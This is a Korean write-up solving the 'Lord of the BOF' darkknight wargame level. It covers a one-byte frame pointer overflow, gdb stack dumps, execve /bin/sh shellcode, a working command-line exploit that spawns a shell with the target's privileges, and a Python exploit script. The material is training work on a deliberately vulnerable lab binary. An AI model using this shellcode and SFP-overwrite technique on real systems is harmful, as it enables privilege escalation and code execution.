/*
The Lord of the BOF : The Fellowship of the BOF
- darkknight
- FPO
*/
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
0x01. Analysis
problem_child 함수를 보면 41바이트만 복사하게 된다.
힌트에 나왔듯이 SFP주소에 1바이트만 Overflow 시킬수 있는 공격이 FPO(Frame Pointer Overflow) 공격이다.
SPF의 1바이트를 변경시키면 근처 스택 주소로 SFP를 변조 시킬 수 있다.
실제 올라가게 되는 problem_child의 buffer배열 주소를 구해보자.
[golem@localhost golem]$ ./aarkknight `python -c 'print "A"*4+"S"*36+"\x80"'`
AAAASSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS?퓹? ♠?왠?옹 ♥@☻
Segmentation fault (core dumped)
[golem@localhost golem]$ gdb -c core
Core was generated by `./aarkknight AAAASSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
(gdb) x/32x $esp-4
0xbffffc84: 0x41414141 0x53535353 0x53535353 0x53535353
0xbffffc94: 0x53535353 0x53535353 0x53535353 0x53535353
0xbffffca4: 0x53535353 0x53535353 0xbffffc80 0x0804849e
0xbffffcb4: 0xbffffe06 0xbffffcd8 0x400309cb 0x00000002
0xbffffcc4: 0xbffffd04 0xbffffd10 0x40013868 0x00000002
0xbffffcd4: 0x08048390 0x00000000 0x080483b1 0x0804846c
0xbffffce4: 0x00000002 0xbffffd04 0x080482e4 0x080484dc
0xbffffcf4: 0x4000ae60 0xbffffcfc 0x40013e90 0x00000002
problem_child의 buffer배열의 시작주소는 0xbffffc84
로 확인되고 있다.
이제 우리는 problem_child함수의 sfp 1byte를 바꿀수 있는 것을 이용하여 공격을 해야한다.
여기서 스택주소로 변경시킬 때 중요한 점은 SFP에 [원하는 주소-4] 주소를 넣어야 된다는 점이다.
그 이유는 함수가 끝날 때, leave - ret 순서로 종료하게 되게 때문이다.
leave 명령어는
mov esp, ebp
,pop ebp
순으로 진행되고,ret 명령어는
pop eip
,jmp eip
순으로 진행된다.자세한 내용 설명은 맨 하단으로~
그리고 problem_child의 buffer배열의 시작부분에 shellcode가 실행될 주소를 넣어주면 된다.
LOB Darkknight문제를 이용한 SFP Overflow 설명
&[buffer - 4] : 0xbffffc80
&[buffer + 4] : 0xbffffc88
0x02. Exploit
shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
[golem@localhost golem]$ ./darkknight `python -c 'print "\x88\xfc\xff\xbf"+"\x90"*12+"\x31\xc0\x50\x68\x2f\x2f\x73\x 68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x80"'`
덡퓧릱릱릱릱릱?픐h//shh/bin됥PS됣솻
??퓹? ♠?왠?옹 ♥@☻
bash$ id
uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)
bash$ my-pass
euid = 512
new attacker
import os
import struct
append = lambda x: payload + x
p8 = lambda x: struct.pack("<B", x)
p32 = lambda x: struct.pack("<I", x)
target = "/home/golem/darkknight"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
buffer_addr = 0xbffffc84
last_sfp = 0x84 - 4
payload = p32(buffer_addr + 4)
payload = append("\x90"*(40-4-len(shellcode)))
payload = append(shellcode)
payload = append(p8(last_sfp))
pid = os.fork()
if pid == 0:
os.execv(target, (target, payload))
else:
os.waitpid(pid, 0)
PREVIOUS[LOB]Level11. golem